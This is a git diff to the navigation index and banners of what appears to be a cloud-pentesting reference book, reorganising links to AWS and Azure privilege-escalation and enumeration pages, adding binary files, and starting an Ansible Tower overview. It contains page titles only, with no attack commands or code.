- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md)
|
||||
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md)
|
||||
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md)
|
||||
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md)
|
||||
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md)
|
||||
- [AWS - Codestar Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md)
|
||||
- [codestar:CreateProject, codestar:AssociateTeamMember](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md)
|
||||
- [iam:PassRole, codestar:CreateProject](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md)
|
||||
- [AWS - Cloudformation Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md)
|
||||
- [iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md)
|
||||
- [AWS - Cognito Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md)
|
||||
- [AWS - Datapipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md)
|
||||
- [AWS - Directory Services Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md)
|
||||
- [AWS - DynamoDB Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md)
|
||||
- [AWS - EBS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md)
|
||||
- [AWS - EC2 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md)
|
||||
- [AWS - ECR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md)
|
||||
- [AWS - ECS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md)
|
||||
- [AWS - EFS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md)
|
||||
- [AWS - Elastic Beanstalk Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md)
|
||||
- [AWS - EMR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md)
|
||||
- [AWS - EventBridge Scheduler Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md)
|
||||
- [AWS - Gamelift](pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md)
|
||||
- [AWS - Glue Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md)
|
||||
- [AWS - IAM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md)
|
||||
- [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md)
|
||||
- [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md)
|
||||
- [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md)
|
||||
- [AWS - Macie Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md)
|
||||
- [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md)
|
||||
- [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md)
|
||||
- [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md)
|
||||
- [AWS - RDS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md)
|
||||
- [AWS - Redshift Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md)
|
||||
- [AWS - Route53 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md)
|
||||
- [AWS - SNS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md)
|
||||
- [AWS - SQS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md)
|
||||
- [AWS - SSO & identitystore Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md)
|
||||
- [AWS - Organizations Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md)
|
||||
- [AWS - S3 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md)
|
||||
- [AWS - Sagemaker Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md)
|
||||
- [AWS - Secrets Manager Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md)
|
||||
- [AWS - SSM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md)
|
||||
- [AWS - Step Functions Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md)
|
||||
- [AWS - STS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md)
|
||||
- [AWS - WorkDocs Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md)
|
||||
- [AWS - Cognito Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md)
|
||||
- [AWS - Datapipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md)
|
||||
- [AWS - Directory Services Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md)
|
||||
- [AWS - DynamoDB Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md)
|
||||
- [AWS - EBS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md)
|
||||
- [AWS - EC2 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md)
|
||||
- [AWS - ECR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md)
|
||||
- [AWS - ECS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md)
|
||||
- [AWS - EFS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md)
|
||||
- [AWS - Elastic Beanstalk Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md)
|
||||
- [AWS - EMR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md)
|
||||
- [AWS - EventBridge Scheduler Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md)
|
||||
- [AWS - Gamelift](pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md)
|
||||
- [AWS - Glue Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md)
|
||||
- [AWS - IAM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md)
|
||||
- [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md)
|
||||
- [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md)
|
||||
- [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md)
|
||||
- [AWS - Macie Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md)
|
||||
- [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md)
|
||||
- [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md)
|
||||
- [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md)
|
||||
- [AWS - RDS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md)
|
||||
- [AWS - Redshift Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md)
|
||||
- [AWS - Route53 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md)
|
||||
- [AWS - SNS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md)
|
||||
- [AWS - SQS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md)
|
||||
- [AWS - SSO & identitystore Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md)
|
||||
- [AWS - Organizations Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md)
|
||||
- [AWS - S3 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md)
|
||||
- [AWS - Sagemaker Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md)
|
||||
- [AWS - Secrets Manager Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md)
|
||||
- [AWS - SSM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md)
|
||||
- [AWS - Step Functions Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md)
|
||||
- [AWS - STS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md)
|
||||
- [AWS - WorkDocs Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md)
|
||||
- [AWS - Services](pentesting-cloud/aws-security/aws-services/README.md)
|
||||
- [AWS - Security & Detection Services](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md)
|
||||
- [AWS - CloudTrail Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md)
|
||||
@@ -381,7 +335,6 @@
|
||||
- [AWS - Trusted Advisor Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md)
|
||||
- [AWS - WAF Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md)
|
||||
- [AWS - API Gateway Enum](pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md)
|
||||
- [AWS - Bedrock Enum](pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md)
|
||||
- [AWS - Certificate Manager (ACM) & Private Certificate Authority (PCA)](pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md)
|
||||
- [AWS - CloudFormation & Codestar Enum](pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md)
|
||||
- [AWS - CloudHSM Enum](pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md)
|
||||
@@ -392,7 +345,7 @@
|
||||
- [Cognito User Pools](pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md)
|
||||
- [AWS - DataPipeline, CodePipeline & CodeCommit Enum](pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md)
|
||||
- [AWS - Directory Services / WorkDocs Enum](pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md)
|
||||
- [AWS - DocumentDB Enum](pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md)
|
||||
- [AWS - DocumentDB Enum](pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md)
|
||||
- [AWS - DynamoDB Enum](pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md)
|
||||
- [AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md)
|
||||
- [AWS - Nitro Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md)
|
||||
@@ -417,7 +370,6 @@
|
||||
- [AWS - Redshift Enum](pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md)
|
||||
- [AWS - Relational Database (RDS) Enum](pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md)
|
||||
- [AWS - Route53 Enum](pentesting-cloud/aws-security/aws-services/aws-route53-enum.md)
|
||||
- [AWS - SageMaker Enum](pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md)
|
||||
- [AWS - Secrets Manager Enum](pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md)
|
||||
- [AWS - SES Enum](pentesting-cloud/aws-security/aws-services/aws-ses-enum.md)
|
||||
- [AWS - SNS Enum](pentesting-cloud/aws-security/aws-services/aws-sns-enum.md)
|
||||
@@ -427,32 +379,31 @@
|
||||
- [AWS - STS Enum](pentesting-cloud/aws-security/aws-services/aws-sts-enum.md)
|
||||
- [AWS - Other Services Enum](pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md)
|
||||
- [AWS - Unauthenticated Enum & Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md)
|
||||
- [AWS - Accounts Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md)
|
||||
- [AWS - API Gateway Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md)
|
||||
- [AWS - Cloudfront Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md)
|
||||
- [AWS - Cognito Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md)
|
||||
- [AWS - CodeBuild Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md)
|
||||
- [AWS - DocumentDB Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md)
|
||||
- [AWS - DynamoDB Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md)
|
||||
- [AWS - EC2 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md)
|
||||
- [AWS - ECR Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md)
|
||||
- [AWS - ECS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md)
|
||||
- [AWS - Elastic Beanstalk Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md)
|
||||
- [AWS - Elasticsearch Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md)
|
||||
- [AWS - IAM & STS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md)
|
||||
- [AWS - Identity Center & SSO Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md)
|
||||
- [AWS - IoT Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md)
|
||||
- [AWS - Kinesis Video Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md)
|
||||
- [AWS - Lambda Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md)
|
||||
- [AWS - Media Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md)
|
||||
- [AWS - MQ Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md)
|
||||
- [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md)
|
||||
- [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md)
|
||||
- [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md)
|
||||
- [AWS - SageMaker Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md)
|
||||
- [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md)
|
||||
- [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md)
|
||||
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md)
|
||||
- [AWS - Accounts Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md)
|
||||
- [AWS - API Gateway Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md)
|
||||
- [AWS - Cloudfront Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md)
|
||||
- [AWS - Cognito Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md)
|
||||
- [AWS - CodeBuild Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md)
|
||||
- [AWS - DocumentDB Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md)
|
||||
- [AWS - DynamoDB Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md)
|
||||
- [AWS - EC2 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md)
|
||||
- [AWS - ECR Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md)
|
||||
- [AWS - ECS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md)
|
||||
- [AWS - Elastic Beanstalk Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md)
|
||||
- [AWS - Elasticsearch Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md)
|
||||
- [AWS - IAM & STS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md)
|
||||
- [AWS - Identity Center & SSO Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md)
|
||||
- [AWS - IoT Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md)
|
||||
- [AWS - Kinesis Video Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md)
|
||||
- [AWS - Lambda Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md)
|
||||
- [AWS - Media Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md)
|
||||
- [AWS - MQ Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md)
|
||||
- [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md)
|
||||
- [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md)
|
||||
- [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md)
|
||||
- [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md)
|
||||
- [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md)
|
||||
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md)
|
||||
- [Azure Pentesting](pentesting-cloud/azure-security/README.md)
|
||||
- [Az - Basic Information](pentesting-cloud/azure-security/az-basic-information/README.md)
|
||||
- [Az Federation Abuse](pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md)
|
||||
@@ -468,12 +419,10 @@
|
||||
- [Az - Services](pentesting-cloud/azure-security/az-services/README.md)
|
||||
- [Az - Entra ID (AzureAD) & Azure IAM](pentesting-cloud/azure-security/az-services/az-azuread.md)
|
||||
- [Az - ACR](pentesting-cloud/azure-security/az-services/az-acr.md)
|
||||
- [Az - API Management](pentesting-cloud/azure-security/az-services/az-api-management.md)
|
||||
- [Az - Application Proxy](pentesting-cloud/azure-security/az-services/az-application-proxy.md)
|
||||
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
|
||||
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
|
||||
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
|
||||
- [Az - AI Foundry](pentesting-cloud/azure-security/az-services/az-ai-foundry.md)
|
||||
- [Az - Cloud Shell](pentesting-cloud/azure-security/az-services/az-cloud-shell.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
|
||||
- [Az - Container Instances, Apps & Jobs](pentesting-cloud/azure-security/az-services/az-container-instances-apps-jobs.md)
|
||||
@@ -509,7 +458,6 @@
|
||||
- [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md)
|
||||
- [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md)
|
||||
- [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md)
|
||||
- [Az - Exchange Hybrid Impersonation (ACS Actor Tokens)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-exchange-hybrid-impersonation.md)
|
||||
- [Az - Local Cloud Credentials](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md)
|
||||
- [Az - Pass the Certificate](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md)
|
||||
- [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md)
|
||||
@@ -517,7 +465,6 @@
|
||||
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md)
|
||||
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-seamless-sso.md)
|
||||
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
|
||||
- [Az API Management Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md)
|
||||
- [Az Azure Ai Foundry Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md)
|
||||
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
|
||||
- [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
|
||||
@@ -535,8 +482,6 @@
|
||||
- [Az - VMs & Network Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md)
|
||||
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
|
||||
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
|
||||
- [Az - AI Foundry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md)
|
||||
- [Az - API Management Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md)
|
||||
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
|
||||
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
|
||||
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md)
|
||||
|
||||
@@ -1,14 +1,18 @@
|
||||
> [!TIP]
|
||||
> Вивчайте та практикуйте AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Вивчайте та практикуйте GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Вивчайте та практикуйте Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Learn & practice Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
> <summary>Підтримайте HackTricks</summary>
|
||||
> <summary>Support HackTricks</summary>
|
||||
>
|
||||
> - Перегляньте the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
> - **Приєднуйтесь до** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) або до [**telegram group**](https://t.me/peass) або **стежте** за нами в **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
> - **Діліться hacking tricks, надсилаючи PRs до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
>
|
||||
> </details>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
BIN
src/files/empty.zip
Normal file
BIN
src/files/empty.zip
Normal file
Binary file not shown.
BIN
src/pdfs/AWS_Services.pdf
Normal file
BIN
src/pdfs/AWS_Services.pdf
Normal file
Binary file not shown.
@@ -4,59 +4,60 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Ansible Tower** або його відкрита версія [**AWX**](https://github.com/ansible/awx) також відомий як **інтерфейс користувача Ansible, панель управління та REST API**. Завдяки **контролю доступу на основі ролей**, плануванню завдань та графічному управлінню інвентарем, ви можете керувати своєю інфраструктурою Ansible з сучасного інтерфейсу. REST API Tower та командний інтерфейс спрощують інтеграцію з поточними інструментами та робочими процесами.
|
||||
